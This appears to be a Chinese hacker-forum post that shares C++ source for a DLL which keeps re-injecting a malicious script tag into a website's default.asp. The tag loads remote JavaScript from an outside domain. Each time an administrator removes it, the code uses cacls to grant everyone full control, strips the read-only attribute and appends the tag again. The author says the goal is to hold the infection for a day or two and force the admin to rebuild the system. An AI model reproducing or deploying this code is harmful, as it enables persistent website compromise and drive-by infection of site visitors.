来源:安全中国
本人挂马语句经常被管理员KILL，但是自己也有管理员权限，保留的很好，既然被他发现了，怎么说我们也要强行挂上1天到2天，让他去重做系统去。下面是一个简单的监控某个文件，给予他访问的权限。然后在检查代码中有无我们事先插入的代码，没的话就插入，有的话，等等在
代码如下：
#include "stdafx.h"
#include "process.h"
#include "windows.h"
#include "string.h"
#include "iostream.h"
#include "fstream.h"
char path2[256]="E:\\gxm\\default.asp";
char guama[256]="\n<script language=javascript src='http://www.gxm520.cn/tg.js'></script>";
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch ( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH:
{
while(1)
{
ifstream ifs(path2);
char FileContent[5000];
memset(FileContent,0,5000);//初始化FileContent
ifs.read(FileContent,5000);//读取数据
ifs.close();//关闭ifstream对像
if(strstr(FileContent,guama)==0)
{
char path1[256]="E:\\gxm\\default.asp "; //比变量path2多了一个空格
char mingling[256]="cacls ";
strcat(mingling,path1);
char ps[25]="/T /E /C /G everyone:F";
strcat(mingling,ps);
char mingling1[256]="cacls ";
strcat(mingling1,path1);
char pa[30]="/T /E /C /G administrator:F";
strcat(mingling1,pa);
system(mingling);
system(mingling1);
SetFileAttributes(path2,GetFileAttributes(path1) & ~FILE_ATTRIBUTE_READONLY);
ofstream outfile;
outfile.open(path2,ios::app);
if (!outfile)
{
exit(0);
}
outfile<<guama;
outfile.close();
}
Sleep(9000);
}
}
default:
return TRUE;
}
return TRUE;
} |
简单的监控文件程序的代码而已，我也不知道别人是怎么写的，反正自己是这样想出来一点一点的写点，希望对我们一样菜的人有点帮助。 |
爱心红客
